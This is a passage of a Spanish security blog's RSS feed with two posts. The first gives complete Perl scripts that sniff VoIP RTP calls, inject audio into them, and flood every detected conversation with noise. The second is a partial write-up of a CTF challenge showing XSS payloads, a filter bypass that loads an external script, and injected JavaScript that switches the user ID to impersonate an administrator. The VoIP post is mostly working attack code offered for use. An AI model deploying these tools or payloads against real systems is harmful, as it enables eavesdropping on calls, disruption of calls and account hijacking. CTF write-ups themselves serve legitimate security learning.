						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/&amp;title=Montando una centralita pirata con Asterisk"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Montando una centralita pirata con Asterisk (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/09/15/montando-una-centralita-pirata-con-asterisk/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Inyectando tráfico RTP en una conversación VoIP</title>
		<link>http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/#comments</comments>
		<pubDate>Tue, 13 Sep 2011 15:12:55 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Asterisk]]></category>
		<category><![CDATA[VoIP]]></category>
		<category><![CDATA[RTP]]></category>
		<category><![CDATA[Sniffer]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=731</guid>
		<description><![CDATA[Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP. No es que sea nada novedoso, y ya son bien conocidos los programas rtpinsertsound y rtpmixsound de Hacking Exposed VoIP (http://www.hackingvoip.com/sec_tools.html) que hacen esto mismo, pero hace no mucho leí un artículo [...]]]></description>
			<content:encoded><![CDATA[<p>Hace mucho que no escribía en el blog (últimamente no tengo tiempo ni de rascarme)  y bueno, esta vez toca hablar sobre VoIP.</p>
<p>No es que sea nada novedoso, y ya son bien conocidos los programas <strong>rtpinsertsound</strong> y <strong>rtpmixsound</strong> de <strong>Hacking Exposed VoIP</strong> (<a href="http://www.hackingvoip.com/sec_tools.html">http://www.hackingvoip.com/sec_tools.html</a>) que hacen esto mismo, pero hace no mucho leí un artículo muy interesante sobre inserción de tráfico RTP en <a href="http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/" target="_blank">http://bluelog.blueliv.com/hacking/cuando-la-toip-se-queda-sin-voz/</a>. La verdad es que está curioso el post y se aprende bastante acerca del funcionamiento de los paquetes RTP, aunque a la hora de la verdad, la inserción es mucho más sencilla, puesto que no es necesario ir analizando paquetes para obtener el número de secuencia.</p>
<p>Haciendo uso de las RTPtools (<a title="RTPtools" href="http://www.cs.columbia.edu/irt/software/rtptools/" target="_blank">http://www.cs.columbia.edu/irt/software/rtptools/</a>) y de un sniffer de remote-exploit.org (<a href="http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz" target="_blank">http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz</a>) he creado algunos scripts en perl para analizar e inyectar paquetes RTP.</p>
<p>En realidad, el módulo Net::RTP es capaz de obtener el número de secuencia y mandar nuestro audio continuando con esa numeración, sin necesidad de que tengamos que obtenerlo manualmente.</p>
<p>Comencemos &#8230;</p>
<p><strong>rtpscan.pl</strong> es un script que monitoriza los paquetes que pasan por nuestro interfaz de red, filtrando aquellos que son RTP e indicándonos el codec usado en la conversación. Su utilidad es interceptar conversaciones RTP:</p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# Pepelux &lt;pepelux[at]gmail[dot]com&gt;
#
# based in remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use Getopt::Long;

my @src;
my @dst;

# Do no buffering - flushing output directly
$|=1;
#declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declarations of global variables
my $g_pcap_err = '';
my $interface='';
my $g_cap_descrip;

# Trapping Signal &quot;INT&quot; like ctrl+c for cleanup first.
$SIG{INT} = \&amp;f_probe_ctrl_c;

sub init() {
	if ($^O =~ /Win/) {system(&quot;cls&quot;);}else{system(&quot;clear&quot;);}

	# check params
	my $result = GetOptions (&quot;i=s&quot; =&gt; \$interface);

	help() if ($interface eq &quot;&quot;);

	f_probe_pcapinit;
}

sub f_probe_pcapinit{
	if ($g_cap_descrip = Net::Pcap::open_live($interface,2000,0,1000,\$g_pcap_err))
	{
		# Initiate endless packet gathering.
		Net::Pcap::loop($g_cap_descrip, -1, \&amp;f_probe_read80211b_func , '' );
	}
	else
	{
		print &quot;\nCould not initiating the open_live command on $interface from the pcap.\nThe following error where reported: $g_pcap_err\n&quot;;
		exit;
	}
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) &amp;&amp; proto($data) eq &quot;17&quot;) {
		my $new = 1;
		my $codec = codec($data);

		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		for (my $i = 0; $i &lt;= $#src; $i++) {
			$new = 0 if (($src[$i] eq $ipsrc.&quot;:&quot;.$portsrc) &amp;&amp; ($dst[$i] eq $ipdst.&quot;:&quot;.$portdst));
			$new = 0 if (($src[$i] eq $ipdst.&quot;:&quot;.$portdst) &amp;&amp; ($dst[$i] eq $ipsrc.&quot;:&quot;.$portsrc));
		}

		if ($new eq 1) {
			print &quot;Protocol: UDP\n&quot;;
			print &quot;Codec   : GSM\n&quot; if ($codec eq &quot;3&quot;);
			print &quot;Codec   : G.711 (u-law)\n&quot; if ($codec eq &quot;0&quot;);
			print &quot;Codec   : G.711 (a-law)\n&quot; if ($codec eq &quot;201&quot; || $codec eq &quot;136&quot;);
			print &quot;Codec   : Speex\n&quot; if ($codec eq &quot;225&quot;);
			print &quot;Codec   : $codec (desconocido)\n&quot; if ($codec ne &quot;0&quot; &amp;&amp; $codec ne &quot;3&quot; &amp;&amp; $codec ne &quot;201&quot; &amp;&amp; $codec ne &quot;136&quot; &amp;&amp; $codec ne &quot;225&quot;);
			print &quot;IP 1    : $ipsrc:$portsrc\n&quot;;
			print &quot;IP 2    : $ipdst:$portdst\n&quot;;

			push @src, $ipsrc.&quot;:&quot;.$portsrc;
			push @dst, $ipdst.&quot;:&quot;.$portdst;
		}
	}
};

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.&quot;.&quot;.$v2.&quot;.&quot;.$v3.&quot;.&quot;.$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.&quot;.&quot;.$v2.&quot;.&quot;.$v3.&quot;.&quot;.$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq &quot;80&quot;);
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub f_probe_ctrl_c {
	# Checks if there is a open pcap handle and closes it first.
	if ($g_cap_descrip)
	{
		Net::Pcap::close ($g_cap_descrip);
		print &quot;\nClosed the pcap allready, the program exits now.\n&quot;;
	}
};

sub help {
	print qq{
Usage:  $0 -i &lt;interface&gt;

};

	exit 1;
}

init();
</pre>
<p><strong>rtpsend.pl</strong> es una copia de las rtptools e inyecta un archivo WAV en una conversación que use el codec de audio u-law (G.711) y para ello le tenemos que indicar la IP y puerto destino (datos previamente obtenidos con <strong>rtpscan.pl</strong>):</p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# rtptools: http://www.cs.columbia.edu/irt/software/rtptools/

use Net::RTP;
use Time::HiRes qw/ usleep /;
use strict;

my $DEFAULT_PORT = 5004;	# Default RTP port
my $DEFAULT_TTL = 2;		# Default Time-to-live
my $PAYLOAD_TYPE = 0;		# u-law
my $PAYLOAD_SIZE = 160;		# 160 samples per packet

# Get the command line parameters
my ($filename, $address, $port, $ttl ) = @ARGV;
usage() unless (defined $filename);
usage() unless (defined $address);
$port=$DEFAULT_PORT unless (defined $port);
$ttl=$DEFAULT_TTL unless (defined $ttl);

print &quot;Input Filename: $filename\n&quot;;
print &quot;Remote Address: $address\n&quot;;
print &quot;Remote Port: $port\n&quot;;
print &quot;Multicast TTL: $ttl\n&quot;;
print &quot;Payload type: $PAYLOAD_TYPE\n&quot;;
print &quot;Payload size: $PAYLOAD_SIZE bytes\n&quot;;

# Create RTP socket
my $rtp = new Net::RTP(
		PeerPort=&gt;$port,
		PeerAddr=&gt;$address,
) || die &quot;Failed to create RTP socket: $!&quot;;

# Set the TTL
if ($rtp-&gt;superclass() =~ /Multicast/) {
	$rtp-&gt;mcast_ttl( $ttl );
}

# Create RTP packet
my $packet = new Net::RTP::Packet();
$packet-&gt;payload_type( $PAYLOAD_TYPE );

while(1) {
# Open the input file (via sox)
open(PCMU, &quot;sox '$filename' -t raw -U -b 8 -c 1 -r 8000 - |&quot;)
or die &quot;Failed to open input file: $!&quot;;

my $data;

while( my $read = read( PCMU, $data, $PAYLOAD_SIZE ) ) {
	# Set payload, and increment sequence number and timestamp
	$packet-&gt;payload($data);
	$packet-&gt;seq_num_increment();
	$packet-&gt;timestamp_increment( $PAYLOAD_SIZE );

	my $sent = $rtp-&gt;send( $packet );
	#print &quot;Sent $sent bytes.\n&quot;;

	# This isn't a very good way of timing it
	# but it kinda works
	usleep( 1000000 * $PAYLOAD_SIZE / 8000 );
}

close( PCMU );
}

sub usage {
	print &quot;usage: rtpsend.pl &lt;filename&gt; &lt;dest_addr&gt; [&lt;dest_port&gt;] [&lt;ttl&gt;]\n&quot;;
	exit -1;
}
</pre>
<p>Y <strong>rtpflood.pl</strong> es una mezcla de los dos anteriores. Lo que hace, básicamente, es interceptar paquetes RTP y luego floodearlos con ruido. En pocas palabras, fastidiar todas las conversaciones RTP que pille en la red, independientemente del codec usado:</p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# Pepelux &lt;pepelux[at]gmail[dot]com&gt;
#
# based in rtptools: http://www.cs.columbia.edu/irt/software/rtptools/
# and
# remote-exploit.org perl sniffer script: http://www.remote-exploit.org/downloads/simple-perl-sniffer.pl.gz

use strict;
use Net::Pcap;
use threads;
use threads::shared;
use Net::RTP;
use Time::HiRes qw/ usleep /;
use Getopt::Long;

my @src;
my @dst;
my $PAYLOAD_SIZE = 160;
my $ttl = 2;
my $maxthreads = 300;
my $threads : shared = 0;
my $interface = '';
my $v = 0;
my $g_pcap_err = '';
my $g_cap_descrip;

sub init() {
	if ($^O =~ /Win/) {system(&quot;cls&quot;);}else{system(&quot;clear&quot;);}

	# check params
	my $result = GetOptions (&quot;i=s&quot; =&gt; \$interface,
	                         &quot;v+&quot; =&gt; \$v);

	help() if ($interface eq &quot;&quot;);

	if ($g_cap_descrip = Net::Pcap::open_live($interface, 2000, 0, 1000, \$g_pcap_err)) {
		Net::Pcap::loop($g_cap_descrip, -1, \&amp;f_probe_read80211b_func , '' );
	}
	else {
		print &quot;\nCould not initiating the interface: $interface.\nError: $g_pcap_err.&quot;;
		print &quot;\nAre you root?\n&quot;;
		exit;
	}
}

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack ('H*',$packet);

	if (isrtp($data) &amp;&amp; proto($data) eq &quot;17&quot;) {
		my $codec = codec($data);
		my $ipsrc = ipsrc($data);
		my $ipdst = ipdst($data);
		my $portsrc = portsrc($data);
		my $portdst = portdst($data);

		if ($threads &lt;= $maxthreads) {
			my $thr = threads-&gt;new(\&amp;flood, $ipsrc, $portsrc, $codec);
			$thr-&gt;detach();
			$thr = threads-&gt;new(\&amp;flood, $ipdst, $portdst, $codec);
			$thr-&gt;detach();
		}
	}
};

sub flood {
	my $address = shift;
	my $port = shift;
	my $payload = shift;

	{lock($threads);$threads++;}

	if ($v eq &quot;1&quot;) {
		print &quot;Flooding host: $address \tPort: $port/UDP \tCodec: &quot;;
		print &quot;GSM            \n&quot; if ($payload eq &quot;3&quot;);
		print &quot;G.711          \n&quot; if ($payload eq &quot;0&quot;);
	}

	# Create RTP socket
	my $rtp = new Net::RTP(
			PeerPort=&gt;$port,
			PeerAddr=&gt;$address,
	) || die &quot;Failed to create RTP socket: $!&quot;;

	# Set the TTL
	if ($rtp-&gt;superclass() =~ /Multicast/) {
		$rtp-&gt;mcast_ttl( $ttl );
	}

	# Create RTP packet
	my $packet = new Net::RTP::Packet();
	$packet-&gt;payload_type( $payload );

	for (my $i = 0; $i &lt; 100; $i++) {
		my $data;

		for (my $i = 0; $i &lt; $PAYLOAD_SIZE; $i++) {
			my $rnd = rand(255);
			$data .= hex($rnd);
		}

		$packet-&gt;payload($data);
		$packet-&gt;seq_num_increment();
		$packet-&gt;timestamp_increment( $PAYLOAD_SIZE );

		$rtp-&gt;send( $packet );

		close( PCMU );
	}

	{lock($threads);$threads--;}
}

sub ipsrc {
	my $data = shift;
	$data = substr($data, 52, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.&quot;.&quot;.$v2.&quot;.&quot;.$v3.&quot;.&quot;.$v4;
};

sub ipdst {
	my $data = shift;
	$data = substr($data, 60, 8);
	my $v1 = hex(substr($data, 0 , 2));
	my $v2 = hex(substr($data, 2 , 2));
	my $v3 = hex(substr($data, 4 , 2));
	my $v4 = hex(substr($data, 6 , 2));

	return $v1.&quot;.&quot;.$v2.&quot;.&quot;.$v3.&quot;.&quot;.$v4;
};

sub portsrc {
	my $data = shift;
	$data = substr($data, 68, 4);

	return hex($data);
};

sub portdst {
	my $data = shift;
	$data = substr($data, 72, 4);

	return hex($data);
};

sub proto {
	my $data = shift;
	$data = substr($data, 46, 2);

	return hex($data);
};

sub isrtp {
	my $data = shift;
	$data = substr($data, 84, 2);

	return 1 if ($data eq &quot;80&quot;);
	return 0;
};

sub codec {
	my $data = shift;
	$data = substr($data, 86, 2);

	return hex($data);
};

sub help {
	print qq{
Usage:  $0 -i &lt;interface&gt; [options]

    == Options ==
      -v               = Verbose mode

    == Examples ==
         \$$0 -i eth0
         \$$0 -i wlan0 -v

};

	exit 1;
}

init();
</pre>
<p>El curro ha sido poco ya que, como he comentado, uno de los scripts está copiado directamente (lo puse porque creo que es interesante y porque lo uso en el otro) y, los otros dos scripts simplemente están adaptados para nuestro propósito.</p>
<p>Saludos</pre>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F09%2F13%2Finyectando-trafico-rtp-en-una-conversacion-voip%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/&amp;title=Inyectando tr&Atilde;&iexcl;fico RTP en una conversaci&Atilde;&sup3;n VoIP"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Inyectando tráfico RTP en una conversación VoIP (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solucionario al Reto de Hacking Infiltrados de Informática64</title>
		<link>http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://blog.pepelux.org/2011/05/13/solucionario-al-reto-de-hacking-infiltrados-de-informatica64/#comments</comments>
		<pubDate>Fri, 13 May 2011 17:59:11 +0000</pubDate>
		<dc:creator>Pepelux</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Retos hacking]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Hack games]]></category>
		<category><![CDATA[Retos web]]></category>

		<guid isPermaLink="false">http://blog.pepelux.org/?p=709</guid>
		<description><![CDATA[1- Introducción La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una [...]]]></description>
			<content:encoded><![CDATA[<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;"><strong>1- <span style="text-decoration: underline;">Introducción</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">La verdad es que me encantan los retos que prepara <em>Chema Alonso</em> porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del <strong>BrowserSchool</strong>, escritos por <strong>Beni</strong> (buena pieza este Beni, jeje):</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html">http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html</a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html">http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html</a></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>2- <span style="text-decoration: underline;">Análisis del reto</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Ya pagué la novatada en el reto de <strong>BrowserSchool</strong> y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo que nos aparece al entrar en la sala de validación es esto: </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados1.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-710" title="infiltrados1" src="http://blog.pepelux.org/wp-content/uploads/infiltrados1.jpg" alt="" width="600" height="183" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;"><strong>3- <span style="text-decoration: underline;">Fase I</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Analizando la página de acceso (<span style="color: #0000ff;"><strong>inicioReto.aspx</strong></span>) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, <span style="color: #0000ff;"><strong>inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6</strong></span>) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong>inicioReto.aspx?idUsuario=xxx&lt;script&gt;alert(&#8216;XSS&#8217;)&lt;/script&gt;</strong></span></span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;"><strong><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados2.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-711" title="infiltrados2" src="http://blog.pepelux.org/wp-content/uploads/infiltrados2.jpg" alt="" width="400" height="142" /></a></strong></span></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia <span style="color: #0000ff;"><strong>inicioReto.aspx</strong></span>. En ese link viene asociado nuestro ID de usuario.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el <em>TamperData</em>, vemos:</span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/infiltrados3.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-712" title="infiltrados3" src="http://blog.pepelux.org/wp-content/uploads/infiltrados3.jpg" alt="" width="438" height="360" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">Ese enlace que le llega es lo que aparece en el campo <span style="color: #008080;"><strong>ctl00%24cph2%24tbUrl</strong></span><span style="color: #000000;">. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un <span style="color: #008080;">document.cookie</span> hacia mi máquina, pero no tuve éxito.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió. </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Si vemos el código fuente de la página nos encontramos con un campo llamado  <span style="color: #008000;"><span style="font-size: small;"><strong>ctl00$cph2$hfidUsuario</strong></span></span><span style="color: #000000;"><span style="font-size: small;"> que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un </span></span><span style="color: #000000;"><span style="font-size: small;"><em>submit</em></span></span><span style="color: #000000;"><span style="font-size: small;"> para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple </span></span><span style="color: #000000;"><span style="font-size: small;"><em>submit</em></span></span><span style="color: #000000;"><span style="font-size: small;"> hará que pase por la puerta sin tener que escribir su clave de acceso).</span></span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>3.1- <span style="text-decoration: underline;">Mozilla Firefox v4.0.1</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo <span style="color: #008080;"><strong>ctl00%24cph2%24tbUrl</strong></span> esto:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif; color: #0000ff;">http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Para que se vea mejor, voy a desglosar el <em>script</em> que inyecté:</span></p>
<pre class="brush: xml; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--mce:0--&gt;&lt;/script&gt;
</pre>
<p><span style="font-family: DejaVu Sans,sans-serif;"><br />
</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el <em>submit</em>. Y para que el <em>script</em> se ejecute al cargar la página, lo invocamos con un <em>BODY ONLOAD</em>.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><strong>3.2- <span style="text-decoration: underline;">Google Chrome v11.0.696.65</span></strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si <strong>Chema</strong> me explica porqué no iba }:-&gt;</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple <em>alert</em> usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><span style="color: #0000ff;">&lt;script src=<a href="http://url/file.js">http://url/file.js</a>?</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Y metiendo en <strong>file.js</strong> un <em>alert</em>, por ejemplo (sin poner las etiquetas de <em>script</em>):</span></p>
<p><span style="color: #0000ff;"><span style="font-family: DejaVu Sans,sans-serif;">alert(&#8216;XSS&#8217;)</span></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el <em>submit</em>. Por lo que <strong>file.js</strong> quedaría así:</span></p>
<pre class="brush: xml; title: ; notranslate">
function f()

{

document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809-40d32a9f73b6′;

document.aspnetForm.submit();

}

window.onload=f;
</pre>
